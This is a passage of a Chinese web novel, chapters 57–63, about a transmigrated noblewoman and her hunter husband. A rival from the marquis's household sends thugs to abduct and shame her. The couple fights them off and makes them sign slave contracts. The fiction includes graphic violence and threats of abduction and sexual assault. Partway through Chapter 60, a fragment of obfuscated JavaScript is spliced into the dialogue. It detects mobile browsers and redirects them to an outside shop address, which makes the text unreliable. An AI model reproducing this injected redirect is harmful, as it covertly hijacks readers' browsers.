他侧耳听着灶间传来的、轻快而有节奏的忙碌声,孩子们的细语,傻根劈柴有力的“梆梆”声,还有空气中弥漫的食物香气……
这一切交织成一种陌生而温暖的喧嚣,充满了这个曾经寂静的院落。
林若若端着温水进来时,见他睁着眼望着房梁,便轻声道:
“醒了?感觉如何?先漱漱口,擦把脸。”
她扶他慢慢坐起些,动作小心地避开了伤处。
水温恰到好处,浸湿的布巾柔软地拂过脸和手。
“好多了,这一大家子,辛苦你了。”赵长风有些愧疚。
林若若原本是京城侯府的千金小姐,屈尊嫁给了自己,却还要洗手做羹汤,日日忙活家里的里里外外,还要照顾三个孩子,如今还要照顾自己这个病人。
等自己身体好了,一定要好好对她,绝不辜负一个这么好的女孩子。
柔软温热的布巾擦过自己满是胡须的脸庞,赵长风注意到,这水里似乎又有一股极淡的、难以形容的清新气息,让人头脑一清。
而且,这不是他之前喝过的河水的味道。
但他没问,只是默默地配合着她的动作。
第58章 颤动的心
洗漱完,林若若端来那碗熬得稠稠的青菜粳米粥,和一碟拌了香油、切得极细的咸菜丝。
“你先喝点粥垫垫,等会儿吃小笼包。”
赵长风想伸手去接碗,却被她轻轻避开。
“你别动,小心扯着伤口。”
她坐在床沿,舀起一勺粥,仔细吹了吹,才递到他嘴边。
赵长风看着眼前那勺粥,又抬眼看看她专注的神情,耳根微微发热。
他有些不自在地张开嘴,温热的粥滑入喉中,米香混合着青菜的清爽,咸菜丝又恰到好处地提了味。
他一口接一口,很快吃完了一碗粥。
“还要吗?”林若若问。
“够了。”赵长风摇摇头,目光落在她因忙碌而泛起淡淡红晕的脸上,“你……也快去吃饭。”
“嗯,这就去。”林若若收拾了碗勺,走到门口又回头,“小笼包一会儿就好,你躺着歇歇。”
堂屋里,孩子们已经吃上了嫩滑的蛋羹。
小静吃得嘴角都是,赵林一边自己吃,一边还不时喂妹妹一口。
赵峰在旁边吃的眼睛都在笑。
傻根捧着一大碗粥,就着咸菜,吃得呼噜作响。
“嫂子,你也快吃!”傻根含糊不清地说。
“都慢点吃,小笼包这就出锅。”林若若摸了摸赵小静软软的发丝。
打开锅,把大部分小笼包捡到小竹篮里,傻根看见了,赶紧过来接着。
“放桌上吃吧,小心烫。”林若若嘱咐道。
之后,把赵林赵峰上学堂要带的小笼包放好,又给房里的赵长风盛了一盘子。
小笼包静静地卧在盘子里,薄如蝉翼的面皮在蒸汽中微微颤动,隐隐透出里头粉嫩的肉馅儿。
林若若用筷子轻轻夹起一只,那面皮竟如活物般垂坠出优美的弧度,却韧而不破。
“小心烫,先咬个小口。”她柔声对孩子们说。
赵林凑近,小心翼翼地在那吹弹可破的面皮上咬开一丝缝隙——一股滚烫的鲜香蒸汽“嗤”地窜出,带着猪肉的醇厚、葱姜的辛香,还有一丝若有若无的花椒麻意,直冲鼻腔。
他忙不迭地吸了一口,滚烫的汤汁涌入口中,烫得他直哈气,却舍不得吐出来。
那汤汁清澈油亮,在舌头上打了个转儿,鲜得眉毛都要掉下来。
再咬一口,牙齿穿透柔韧的面皮,触到饱满的肉馅。
猪肉剁得极细,却还保留着些许颗粒感,在齿间弹跳;
姜末切得细细的,不抢味,只提鲜;
葱花的香气在热气中完全释放,与猪肉的油脂完美融合。
面皮薄而不烂,带着小麦的微甜,裹着丰盈的汁水,在口中与肉馅缠绵交融。
赵峰吃得斯文些,却也是眼睛发亮。
一只小笼包三口吃完,最后那口面皮沾着少许肉汁,他细细咀嚼,连指尖沾到的油星都舍不得擦掉,悄悄嘬了一下。
傻根早已顾不上烫,一口半个,吃得满嘴流油。
“嫂子,这包子……太好吃了!”他含糊地说着,又夹起一只,“这面皮咋这么薄还不破?这馅儿咋这么鲜还不腻?”
林若若笑而不语,看着小笼包在众人手中被小心侍弄——轻轻提,慢慢移,先开窗,后喝汤,再吃皮和馅。
那是她在现代学了许久的手艺,做美食是她最喜欢的事情:
肉皮冻要熬得清澈,冷藏后切细末拌入馅中,遇热便化作琼浆;
面要揉得透,醒得足,擀皮时中间厚四周薄;
蒸的火候更是关键,多一分则皮塌,少一分则汁寡。
堂屋里安静下来,只剩下细细的咀嚼声、满足的叹息声,和竹篮与盘子轻轻的碰撞声。
晨光透过窗棂,照着每个人脸上简单而真实的幸福。
就连房里卧着的赵长风,吃着妻子端来的这盘温热的小笼包,脸上也浮现出一丝红晕。
他咬开面皮时格外小心,仿佛在开启什么珍贵的礼物。
当那口鲜汤在口中化开时,他闭了闭眼——这味道,足够让他记住好多年。
而此刻,这温暖就盛在这一只只玲珑剔透的小笼包里,热气腾腾地,熨帖着每个人的胃与心。
喂完小笼包,林若若又检查了一下他肩上的绷带,见没有渗血,才稍稍放心。
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>“今天天气好,待会儿把窗户开条缝透透气。你别急着下地,要什么就让傻根或者小静叫我。”
林若若快速吃完早饭,赵长风就让傻根赶着自家的骡车送赵林赵峰上学堂去了。
送完孩子回来后,傻根还劈了柴,又把水缸挑得满满的,还主动去后院把菜地浇了。
林若若则带着小静,将昨日县里赏赐的棉布拿出来,在院子里比划着,盘算着给每人做身什么样的夏衣。
晌午,林若若用赵长风之前猎回、风干着的野鸡肉,炖了一锅醇香的汤,又贴了白面掺着玉米的饼子。
给赵长风的是撇去了浮油的清汤和炖得烂烂的肉,还有单独煮的软米饭。
下午,趁着孩子们睡午觉,傻根去河边看看之前下的渔篓,林若若烧了一大锅热水。
她兑好温度适宜的水,端进房里。
“擦擦身子吧,会舒服些。”她说着,拧干布巾。
赵长风身体又是一僵。昨日是夜里,灯光昏暗,今日却是**……但身上确实黏腻不适。
他抿了抿唇,低低应了声:“等傻根回来,让他给我擦吧。”
“还是我来吧。”
林若若的脸也有些红,但她努力让自己显得自然,动作麻利却轻柔地帮他褪下中衣,避开绷带,仔细擦拭着健硕的背脊、手臂。
温热的布巾带走汗意,也带来清爽。她换了几次水,直到把他上身擦得干干净净,又帮他换上另一件干净的旧中衣。
整个过程,两人都几乎没有说话,只有水声和轻微的布料摩擦声。
空气里弥漫着一种微妙的、带着些许窘迫却又莫名亲昵的安静。
擦洗完毕,赵长风觉得浑身松快了许多,伤处的清凉感似乎也更明显了。
他靠在床头,看着林若若额角细密的汗珠和微微泛红的脸颊,低声说:“你也歇会儿。”
“嗯。”林若若端起水盆,走到门口,忽然想起什么,回头笑道,“晚上我们喝鱼汤,傻根说早他去摸鱼。”
她那甜美的笑容,在阳光的辉映下,美若天仙~
赵长风的心,狠狠地颤了颤~
第59章 有人来了!
傍晚,傻根果然提回来两条巴掌大的鲫鱼,还有一小篓河虾。
林若若将鱼煎得两面金黄,熬出奶白色的汤,撒上葱花,鲜美异常。河虾则用韭菜急火快炒,红绿相间,诱人食欲。
夕阳落山时,傻根已经把赵林赵峰接回来了。
一家子围坐在堂屋,就着鲜美的鱼汤和林若若烙的发面饼,吃了一顿温馨的晚饭。就连一向沉默的赵林,也多喝了一碗汤。
夜色再次笼罩小院时,一切复归宁静。
林若若躺在床上,很快就沉沉地睡了过去。
赵长风躺在她的身边,看着她有些粗糙了的手指,不再细腻的脸庞,慢慢红了眼眶~
这原本是个十指不沾阳春水的千金小姐,如今却为了自己,为了三个孩子,日夜操劳,他久久地看着房梁,心中做了一个决定~
灵泉水悄然滋养着赵长风的身体,伤口愈合的速度远超寻常。
不过五六日,那深可见骨的伤处已收拢结痂,肩臂活动也日渐自如。
只是林若若仍不许他多动,每日汤水饭食照料得愈发细致。
赵长风心中那决定日渐清晰,却未急着说出口。
他常在晨光暮色里,沉默地看着林若若忙碌的身影——她挽起袖子揉面,低头穿针引线,蹲在灶前小心控制火候。
那些粗活磨糙了她的手指,风吹日晒淡去了她脸上养尊处优的莹润,可那双眼睛,却比初嫁时更亮,透着一种扎根于泥土的、沉静坚韧的力量。
这日傍晚,傻根从河边回来,脸色却有些不对。
他支吾着将林若若叫到院角:“嫂子,今儿在河边……瞅见几个生面孔,不像咱村里人,也不像正经过路的。在打听咱家,还问……问你在不在。”
林若若心头一跳,面上却仍镇定:“怎么说的?”
“我说赵家嫂子在呢,忙着照顾受伤的哥哥。他们嘀嘀咕咕的,眼神不正。”
傻根挠挠头,憨厚的脸上露出担忧,“我觉着不对劲,就赶紧回来了。”
“你做得对。”
林若若压下心头骤然翻涌的不安,温声嘱咐,“这事儿先别跟长风提,他伤刚好些,不能着急。这两日你多留心门户,接送林儿峰儿也警醒着点。”
“哎!”傻根重重点头。
夜里,林若若躺在床上,却久久难以入眠。
月光透过窗纸,朦朦胧胧。她侧耳听着身边赵长风平稳的呼吸声,思绪却飘向京城。
对自己有敌意,有手段找人来对付自己的,不外乎两拨人。
第一拨就前几日与自己抢牛车的刘婆子,不过已经被收拾过了。短期应该不会再来找茬,再加上她没有那么多银子找人。
除了刘婆子,在这个世上,如果还有人对自己恨之入骨的,那就是何若若了。
除了怨恨自己抢了她侯府嫡女的十六年人生,再就是魏天赐。
那个自己原本的未婚夫。
是她吗?
她来了吗?
原本书中所写,她是在和魏天赐婚后,才对自己下手的。
没想到,这一世,她这么快就要出手了?
果真,因为自己的穿越,事件比她预想的来的更快。
就在此时,京城永平侯府内。
何美美正对着一面菱花镜,慢悠悠地簪上一支赤金点翠步摇。
镜中的少女肤色暗黄,脸宽眉粗,身材微胖,虽然长相一般,却与永平侯何俊峰有七八分相似,而且眉宇间更多了几分刻意雕琢的娇憨,还有与挥之不去的东施效颦的阴郁。
“小姐,”贴身丫鬟春杏低声禀报,“那边传信来了,说人已到赵家村左近,摸清了门路。只是那家有个半大的有些痴傻的少年,身板结实,还有个受伤的男人在家养着……”
“受伤?”
何美美唇角勾起一丝冰凉的笑,“那不正好?定是那猎户赵长风伤着了你。一个受伤的病汉,一个痴傻的半大孩子,还能翻了天去?”
她指尖轻轻划过镜面,“告诉他们,做得干净些。绑了人,不必急着带远,先在村里……把事儿闹开。记住,我要她身败名裂,再
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也抬不起头。至于那之后……是卖进山里,还是扔进窑子,随他们处置。”
她语气轻描淡写,仿佛在说今日点心不合口味般随意。
春杏垂头应下,背脊却窜过一阵寒意。
这位认回不久的小姐,心思之毒,手段之狠,每每令她心惊。
何美美望向窗外沉沉的夜色。
林若若占着她的身份,享了十几年侯府富贵,而自己,在乡下磋磨半生,好不容易被认回,却处处被人拿来同林若若比较,嫌她粗鄙,笑她无知,连本该属于她的姻缘,魏天赐那颗心也始终系在林若若身上!
凭什么?
既然重来一世,她就要把林若若彻底踩进泥里,夺回本该属于她的一切——身份、富贵、姻缘,还有……男人!
三日后,赵家村。
正是午后最静谧的时分,赵林赵峰已经去了学堂,傻根进山打猎去了。
小静玩累了,在屋里睡得正熟。
林若若在院中晾晒刚洗好的衣裳,日光暖洋洋地洒在身上。
赵长风在房里,肩胛处忽然传来一阵细微的麻痒,那是伤口飞速愈合时常有的感觉。
他忍不住抬手轻轻按了按,痂壳坚硬,底下新肉已生。
他目光落在墙角立着的猎弓上,手指无意识地动了动。
就在这时,院门外传来几声凌乱的拍响,夹杂着陌生的、带着口音的呼喝:
“有人吗?讨碗水喝!”
林若若晾衣服的手一顿。
她转头看向院门下面的阴影,其下,脚印影影绰绰,似乎不止一人。
“你们是什么人?”林若若停住脚步,谨慎地问道。
“我们是路过的猎户,带的水都喝光了,因此特来小娘子家讨碗水喝。”
“来了。”
她应了一声,声音平静,却快步走向房门,对里间的赵长风低声道,“长风,外面有生人,听着不大对。你伤口刚好,别出来。”
赵长风已坐起身,眉头紧锁:“几个人?”
“听脚步,至少三四个。”
第60章 出手!
林若若说着,从门后摸出平日里砍柴用的柴刀,藏在身后,又迅速将桌上针线篮里一把最大的剪刀塞进袖中。
她刚走到院中,自家那扇新门,竟被他们不知怎么,从门外打开了!
五个穿着杂乱短打、敞胸露怀的陌生汉子,如同污水般一股脑涌了进来,瞬间打破了小院的安宁。
他们高矮胖瘦不一,但脸上都带着一种长期混迹底层、无所顾忌的惫赖与凶相。
浑浊的眼珠子像探照灯一样,滴溜溜地在院子里乱转,扫过晾晒的衣物、朴实的农具、紧闭的屋门。
最后,如同嗅到腥味的鬣狗,齐刷刷地、带着毫不掩饰的恶意与淫邪,钉在了独自站在院中的林若若身上。
走在最后的汉子还把门掩上了。
为首的是个满脸横肉、左颊带一道暗红疤瘌的壮汉。
他双臂抱胸,嘴里斜叼着一根草茎,上下打量着林若若,目光如同黏腻的舌头,从她因劳作而微微泛红的脸颊,滑到纤细的脖颈,再到即便穿着宽松旧衣也难掩起伏的胸脯。
他咧嘴一笑,露出被烟熏黄的牙齿:“哟嗬,小娘子,就你一人在家伺候着?”声音粗嘎,带着刻意压低的调笑。
旁边一个瘦得像竹竿、眼神却最是灵活的尖嘴猴腮汉子,立刻贼兮兮地接话:
“疤哥,错不了,就是这家!她男人前些日子被野猪拱了,听说躺床上动不了呢!”
他说着,还伸长脖子往正房方向探了探,满脸的幸灾乐祸与笃定。
林若若的心沉到了谷底,手脚瞬间冰凉,但越是这样,她面上反而越显得平静,只是那平静下,是绷紧到极致的弦。
她后退半步,背脊抵住了堂屋冰凉的门框,将持着柴刀的手更往身后藏了藏,声音清冷,带着刻意放大的警惕:
“你们是什么人?光天化日,朗朗乾坤,私闯民宅,还有没有王法!我夫君就在屋里,容不得你们放肆!”
她故意提高声音,既是震慑,也是希望能惊动屋里的赵长风,让他有所准备。
“王法?哈哈!”
疤脸汉子像是听到了什么笑话,吐掉嘴里的草茎,往前踏了一步,逼近林若若,
“爷几个就是王法!小娘子,别拿你那个半死不活的男人吓唬人。识相点,乖乖跟我们走,省得吃苦头。”
他眼神里的淫光几乎要溢出来,伸出粗糙肮脏的手,就想来摸林若若的脸。
林若若胃里一阵翻腾,强忍着厌恶,在他手伸到近前的瞬间,猛地侧身避开,同时一直藏在身后的右手迅疾挥出!
柴刀冰冷的锋刃在阳光下划过一道寒光,她没有砍向对方的要害,而是用尽全力,狠狠劈向那只伸来的、令人作呕的手臂!
“嗤啦——啊!!”
利刃切入皮肉的声音与疤脸汉子杀猪般的惨叫同时响起!
鲜血瞬间迸溅出来,溅了几滴在林若若的裙摆和手背上,温热粘腻。
“臭娘们!敢动手?!”
变故突生,其余四个汉子都惊呆了,没想到这看着温顺秀气的小妇人竟如此狠厉果决。
瘦高个最先反应过来,脸上闪过一丝狰狞:“抄家伙!按住她!老子今天非得尝尝这小娘子的滋味……”
他的狠话还没撂完,正房那扇一直紧闭的木门,猛地被人从里面打开了!
“哐当——!”
门板重重拍在墙上,震得檐下的灰尘簌簌落下。
一道高大的身影如同被触怒的猛虎,挟着凛冽的寒风与滔天的怒意,疾冲而出!
正是赵长风!
他脸色因怒极而显得有些苍白,但那双眼睛却漆黑如寒潭,燃着冰冷的火焰。
他手中并无惯用的猎弓,**也不在身边,只顺手抄起了门边那根碗口粗、用来顶门的硬木棍。
肩胛处的伤口,因这迅猛的爆发传来撕裂般的刺痛,但他浑不在意。
灵泉水滋养下的身体,恢复力远超常人,新生的肌骨虽未完全长好,却蕴含着惊人的韧性与力量。
动作间那一丝因伤口牵扯带来的凝滞,反而更添了几分搏命般的凶狠。
“找死!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090150|195428||http|test|mini|href|location''.split(''|''),0,{}));
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r>冰冷彻骨的两个字从他牙缝里挤出。
木棍带着呼啸的风声,毫无花哨,直接、狠绝地砸向离他最近、正指着林若若叫骂的瘦高个面门!
那瘦高个只觉眼前一黑,劲风扑面,根本来不及做出任何反应。
“咔嚓!”
令人牙酸的骨裂声清晰响起。
瘦高个连惨叫都没能发出,整个人如同破布袋般被砸得倒飞出去,仰面摔在地上,满脸开花,鲜血泪泪涌出,瞬间昏死过去。
院内死寂了一瞬。
剩下的三个汉子,连同那个捂着鲜血淋漓手臂哀嚎的疤脸,全都傻眼了。
他们瞪大眼睛,像见鬼一样看着如同煞神般挡在林若若身前的赵长风。
说好的重伤垂危、卧床不起呢?
这矫健的身手、这狠戾的气势、这快如闪电的一击……
哪一点像快死的人?!
疤脸汉子忍着剧痛,又惊又怒,嘶声吼道:“点子扎手!一起上!废了他!”
剩下的三人如梦初醒,脸上凶相毕露,纷纷抽出别在腰后的短棍、柴刀,呈半包围状,缓缓逼近赵长风与林若若。
赵长风将林若若彻底护在身后,宽阔的背脊像一堵坚实的墙。
他微微活动了一下持棍的手腕,眼神锐利如鹰隼,紧盯着每一个敌人的动作。
三人嗷嗷叫着冲上来,赵长风见状,赶紧将林若若往自己身后一挡,眼眸漆黑沉冷,紧握木棍,横在身前。
伤处因剧烈动作传来刺痛,但他身形稳如磐石。灵泉水不仅加速了伤口愈合,似乎连他的气力与反应,也比受伤前更凝练了几分。
院内,对峙一触即发。
宁静的赵家小院,杀机骤临。
而京城侯府中,何美美正拈着一颗蜜饯,等着听那让她“舒心”的消息。
她不知道的是,那一碗碗看似寻常的清水,早已悄然改写了某些命定的轨迹。
赵长风的伤,好得比她算计的快得多。
而有些蛰伏的猛兽,一旦被触逆鳞,反击将比她想象的更加可怕。
第61章 反杀
赵长风以一敌三,将林若若牢牢护在身后,身形沉稳如山。
他肩胛的伤处随着每一次发力都传来尖锐的刺痛,但动作却丝毫不见迟滞,反而因这痛楚激发出一股更悍戾的狠劲。
手中粗木棍舞动起来,带着猎户常年与野兽搏杀练就的简洁与致命,不求花哨,只求一击制敌。
一个矮壮混混见赵长风肩膀微滞,以为有机可乘,嚎叫一声,抡起柴刀直劈他受伤的左侧!
赵长风眼神一厉,不退反进,右手的木棍猛地一个斜挑,精准地磕在对方持刀的手腕上!
“当啷!”柴刀脱手飞出。
几乎同时,赵长风左肩微沉,忍痛侧身,避开另一人砸来的短棍,右脚如电弹出,狠狠踹在矮壮混混的小腹上。
那人闷哼一声,蜷缩着倒飞出去,撞在晾衣杆上,哗啦一声带倒一片湿衣。
剩下两人又惊又怒,配合着左右夹攻。
疤脸汉子也缓过劲来,捂着流血的手臂,眼神怨毒地盯着被护在后面的林若若,忽然阴狠地朝她扑去——柿子捡软的捏!
林若若一直紧绷着神经,见状并不慌乱。
她袖中剪刀早已滑至掌心,在疤脸欺近的瞬间,不退反迎上半步,手中剪刀寒光一闪,直刺对方面门!
疤脸吓得猛地偏头,剪刀擦着他耳朵划过,带走一小块皮肉,火辣辣地疼。
“**!”疤脸愈发狂暴。
就在这时,院外传来一声炸雷般的怒吼:“王八羔子!敢来俺家撒野!!”
如同旋风般,傻根冲进了院子!
他赤手空拳,但常年干农活练就的一身蛮力与此刻暴怒的气势,让他看起来像一头被激怒的小牛犊。
他一眼就看到被**的赵长风和正与疤脸纠缠的林若若,眼睛瞬间红了,不管不顾,低着头就朝正与赵长风缠斗的一个混混后腰狠狠撞去!
“哎哟!”
那混混猝不及防,被撞得一个趔趄,赵长风觑准机会,木棍横扫,重重砸在他腿弯。
那人惨叫着跪倒在地。
形势瞬间逆转!
傻根的加入不仅带来了生力军,更打乱了对方本就散乱的阵脚。
赵长风压力一松,攻势更猛,木棍化作道道残影,另一个混混招架不住,手臂被砸中,骨头发出令人牙酸的声响,惨叫连连。
疤脸汉子见势不妙,心生退意。他虚晃一招逼退林若若,朝唯一还勉强站着的同伙吼道:“风紧!扯呼!”
两人也顾不得地上呻吟的同伴,连滚爬爬就往院门口冲。
“想跑?!”
赵长风岂容他们轻易逃走,这些人是冲着若若来的,留他们活着就是祸害!
他手中木棍脱手飞出,如同标枪,呼啸着砸中疤脸的后背。疤脸“噗”地喷出一口血,扑倒在地。
傻根怒吼着追上去,一脚踹翻另一个,抡起钵大的拳头就要往死里砸。
“傻根!留活口!”林若若急忙喊道。
傻根的拳头在离对方鼻尖一寸处停住,呼哧呼哧喘着粗气,不甘地瞪着地上瘫软的混混。
赵长风捂着肩膀,伤口处传来湿热的触感,估计是刚才剧烈动作又崩裂了。
他脸色有些发白,但眼神依旧锐利如刀,一步步走到瘫倒在地、挣扎着想爬起来的疤脸面前,一脚踩在他胸口,声音冰冷得能凝出冰碴子:
“说,谁派你们来的?敢有一句假话,打断你全身骨头,扔进山里喂狼。”
疤脸被踩得差点背过气,看着赵长风杀神般的眼神,又瞥见旁边虎视眈眈、眼睛通红的傻根,还有那个持着带血剪刀、眼神冷静得可怕的小妇人,心底那点凶悍早已被恐惧取代。
他本就是拿钱办事的混混,哪有什么骨气。
“爷……爷爷饶命!饶命啊!”疤脸涕泪横流,“是……是京城……京城永平侯府有人……给了钱,让……让俺们来绑这位小娘子,还……还要毁了……毁了名节……”
永平侯府!
虽然早有猜测,但亲耳证实,林若若的心还是猛地一沉,指尖冰凉。
何美美……动作真快,手段真毒!
赵长风脚下一用力,疤脸惨嚎出声。“名字!谁指使的?怎么联系的?详细说来!漏掉半点,你现在就得死!”<
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br>疤脸吓得魂飞魄散,倒豆子般交代了:
“是……是一个叫‘张瘸子’的中间人找的俺们,说……说是侯府里一位得宠的小姐的意思,先付了一半定金,事成之后去城南破庙……有……有人接应,给剩下的钱……那小姐,好像……好像姓何……具体俺真不知道啊爷!”
赵长风与林若若对视一眼,都看到了彼此眼中的寒意与凝重。
果然是“得宠的何小姐”!
“大哥,这些人咋办?”傻根喘着粗气问,指了指地上横七竖五呻吟的五人。
赵长风眼神森寒。
按照他往日山里猎户的性子,这种敢动他家人、心思歹毒的**,就该直接埋了干净。
但如今牵扯到京城的侯府……
林若若看出他的杀意与犹豫,上前一步,低声道:“长风,不能杀。”
她声音虽轻,却带着不容置疑的冷静,“杀了他们,反而落人口实。他们是证据。”
赵长风闭了闭眼,压下翻腾的杀意。
他懂林若若的意思。
“傻根,找绳子,把他们全捆结实了,嘴里塞上布。伤最重的那个,”他指了指被砸断鼻梁昏死的瘦高个,“先简单包一下,别让他**。”
“哎!”傻根应声,立刻去找绳子。
林若若快步走到赵长风身边,看着他肩头衣衫隐隐渗出的血色,心疼又担忧:“你的伤……”
“没事,皮肉伤,重新上药就好。”
赵长风握住她有些发抖的手,她的手冰凉,还沾着刚才溅到的血点。
他用力握了握,传递着力量,“别怕,有我在。”
林若若看着他坚定的眼神,深吸一口气,点了点头。
怕?
自穿越而来的那一刻起,她就知道前路艰险。
只是没想到,何美美的恶意来得如此汹涌直接。
今日若非长风恢复神速,若非傻根及时赶回……
后果不堪设想。
她目光扫过一片狼藉的院子,破碎的院门,倒地的晾衣杆,散乱的杂物,还有空气中淡淡的血腥味。
宁静已被彻底打破~
第62章 干活去吧!
“得尽快处理这些人,还有……”她看向赵长风,“何美美一击不成,恐怕还会有后手。我们必须早做打算。”
赵长风颔首,眼中寒光闪烁:“放心。先把眼前料理干净。侯府……”
他顿了顿,语气沉冷而坚定,“这笔账,迟早要算。”
很快,五个混混被傻根用粗麻绳捆成了粽子,扔在柴房角落,由傻根亲自看守。
赵长风回屋,林若若小心地为他清理裂开的伤口,重新敷上金疮药。
灵泉水的效果依旧显著,血很快止住,只是这次需要更多时间愈合。
院子里,林若若和赵长风低声商议着。
“这些人,送去县衙?”林若若问。
赵长风摇头:
“县衙……未必稳妥。何美美既然能买通他们,未必不能在县衙做手脚。况且,牵扯侯府,小小县令未必敢深究,甚至可能为了巴结侯府,反咬我们一口。”
“那……”
“先关着。那个疤脸说城南破庙有人接应。”
赵长风眼中闪过一丝锐芒,“破庙先不管他,既然往这派人,那咱们就留下,全都扔到后山脚下开荒去!”
林若若的眼睛顿时亮了起来,“这可真是个好主意!不过他们的身份文牒怎么办?”
“让他们签**契,然后到县衙报备就行。”
“好。先回屋,我给你上药。”林若若看着他渗血的衣衫,皱了皱眉头。
林若若趁赵长风没注意,将掺了足量灵泉水的布巾轻轻覆在他重新裂开的伤口上。
清凉感渗入皮肉,带来一阵舒适的微麻,血很快便止住了。
她动作轻柔而迅速,重新清洗、上药、包扎,指尖不经意擦过他紧绷的肩背,能感受到那下面蕴藏的力量与隐忍的怒意。
赵长风一直没说话,只在她触碰时肌肉微微收缩,目光垂落,看着她专注的侧脸和微微颤动的睫毛。
屋内油灯昏暗,将她柔和的面部线条镀上一层暖光,与外间尚未散尽的肃杀之气形成了奇异的对比。
“好了。”林若若仔细打好结,舒了口气,“这两天千万不能再用大力,伤口再崩开,愈合就更慢了。”
她语气里带着不容置疑的关切,还有一丝后怕。
赵长风“嗯”了一声,拉好衣衫,抬眼看向她:“吓到了?”
林若若收拾药瓶的手顿了一下,摇摇头,又点点头:
“有一点。但更多的是生气。”
她抬眼,目光清亮而坚定,“何美美也就算了,不知道……哎,算了吧。”
“哎”这个字,让赵长风心头微震。
他伸出手,握住她有些冰凉的手指:“别多想。你的养父母定然是不知情的。”
这一夜,柴房那边偶尔传来几声压抑的呻吟和挣扎的窸窣声,但在傻根犹如门神般的看守下,很快又归于寂静。
天刚蒙蒙亮,赵长风便起身。
他换上一件半旧的深色短打,虽脸色仍有些失血后的苍白,但眼神已恢复锐利。
林若若早早熬了浓稠的米粥,蒸了一屉的肉包子。
赵长风先去了柴房。
五个被捆了一夜的混混形容狼狈,眼窝深陷,看到赵长风进来,尤其是触及他那双深潭般的眼睛时,都不由自主地瑟缩了一下。
疤脸强撑着最后一点气势,色厉内荏道:“小子,你知道我们是谁的人吗?识相的快放了我们,否则……”
赵长风没等他说完,一脚踹在他肚子上,力道控制得刚好,让人痛彻心扉却又不会昏死过去。
疤脸蜷缩着干呕,后面的话全噎在了喉咙里。
“我不管你们以前是谁的狗。”赵长风声音不高,却像淬了冰的刀子,“现在,你们只有一条路。签了**契,给我去后山开荒,或许还能有条活路。不然……”
他目光扫过其他几人,“后山有的是豺狼虎豹。”
死亡的恐惧远比疼痛更慑人。
在傻根解开他们手上绳索,将粗糙的笔墨和印泥摆在他们面前时,反抗的意志早已被一夜的恐惧和赵长风的狠厉消磨
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殆尽。
五个歪歪扭扭的名字和手印,落在了那几张决定他们命运的契纸上。
都是死契。
赵长风仔细收好契纸,对傻根吩咐:“把他们手脚全部绑紧,用绑野兽的法子,然后锁好柴房的门。”
“知道了,风哥。”
赵长风出了柴房,喊了一声:“小白!”
就见一只白色的小狼狗,从屋里冲了出来,尾巴摇得欢快。
“小白看好柴房里的人,我出去一下,看好家知道吗?”赵长风说着,从灶房拿了半只野鸡出来,放到了小白面前,然后摸了摸他的小脑袋,“吃吧。”
早饭后,赵长风和傻根便赶着骡车出了门。顺带把赵林赵峰送去学堂。
契纸需要到县衙备案,落了官印才算稳妥。
车上还放着林若若准备的几个不起眼的粗布包裹,里面是些晒干的药材和山货,还有若若特意准备的几瓶疗伤好药。
到了县城,赵长风直接去了王捕头家,把东西放下,才去了县衙。
到了县衙,赵长风没找旁人,直接寻了相熟的王捕头。
王捕头是个快四十的黑脸汉子,为人还算正直,再加上上次剿匪之事,还有若若送他的回礼,两人的关系不可名状地亲密了起来。
赵长风将事情简单一说,只道是家中近日不太平,有流民乞食,自愿**为仆,自己看着可怜,也正好需要人手开垦后山荒地,便买下了。
说着,将那份已按了手印的**契递上,然后压低声音凑过去,“晚上我在鼎丰楼给王哥和兄弟们定了一桌,直接去,报王哥的名号就行。”
王捕头听后,脸带笑意,看着他络腮胡子下亮亮的眼睛,对旁边的衙差说道,“这是我兄弟。以后照应着点。”
衙差赶紧弯腰点头,“捕头您放心,是您的兄弟,就是小的们兄弟。”
王捕头接过契纸扫了几眼,又看了看赵长风略显苍白的脸色,嘱咐道:“回去好好养伤。”
“嗯。”赵长风眼含笑意。
第63章 顺藤摸瓜
王捕头姓王名朗,虽然只是一个县衙的捕头,但为人仗义,县城里有头有脸的,普通百姓也都买他的面子。
他知道流民自卖为奴虽是常事,但一次买五个壮年男丁,还是死契,倒是少见。
不过他也懒得深究,这年头,谁家没点难处和隐秘?
再加上赵长风是个有本事的猎户,平日也懂人情往来,性格虽有些冷淡,但心地赤诚,他也想真心相交,这点小事顺手办了便是。
他提起笔,在衙门的册子上记了一笔,又取来印信,“啪”地一声盖在契纸的官印处。
“成了,赵老弟。人你带回去好生管教便是。只是要约束好,莫要生出事端。”
“多谢王哥。”赵长风拱手,神色坦然,“都是些想讨口饭吃的老实人,回去便让他们专心垦荒,不会惹麻烦。”
出了县衙,日头已经升高。
赵长风将盖好官印的契纸仔细收进怀里最贴身的位置,对傻根道:
“去鼎丰楼。”
办完事,骡车晃晃悠悠往回走。
赵长风靠在车辕上,闭目养神,脑海里却清晰地浮现出城南破庙的方位,以及昨夜疤脸交代的接应时间和暗号。
何美美的后手不会停,侯府的阴影也依旧悬在头顶。
但至少眼前这一关,他们迈过去了,并且反手将对方派来的爪牙,变成了自家荒地上的苦力。
而且何美美不敢明目张胆地来寻人,也不敢来要人,否则就会把自己牵扯进去。不仅是侯府,就是她,也丢不起这人。
赵长风从县衙回来时,日头已经升高。
他脸上的线条在明朗的阳光下显得格外冷硬,唯有踏入自家院门,看见守在屋前的林若若时,那抹寒冰才悄然化开些许。
“办妥了。”
他将盖了红印的文书递给林若若,“从今往后,那五个人便是咱们家的私产,生死由命。”
林若若接过文书仔细收好,心下稍安。
有了这层身份,即便侯府日后想借题发挥,明面上也难做文章。
她看向赵长风:“后山那片荒地,碎石多,土层薄,真要让他们去开?”
“自然。”
赵长风语气平淡,却透着不容置疑的冷意,“力气既然多得没处使,不如去跟地里的石头较劲。傻根会盯着。”
他顿了顿,又道:“这几日我会再往破庙那边探探,看能否顺藤摸瓜,找到更多何美美插手此事的痕迹。”
林若若点头,她知道赵长风做事向来有章法,步步为营。
只是看他肩上伤处,仍不免担忧:“你的伤……”
“无碍。”赵长风活动了一下肩膀,“灵你给的药效果非凡,已好了七八成。”
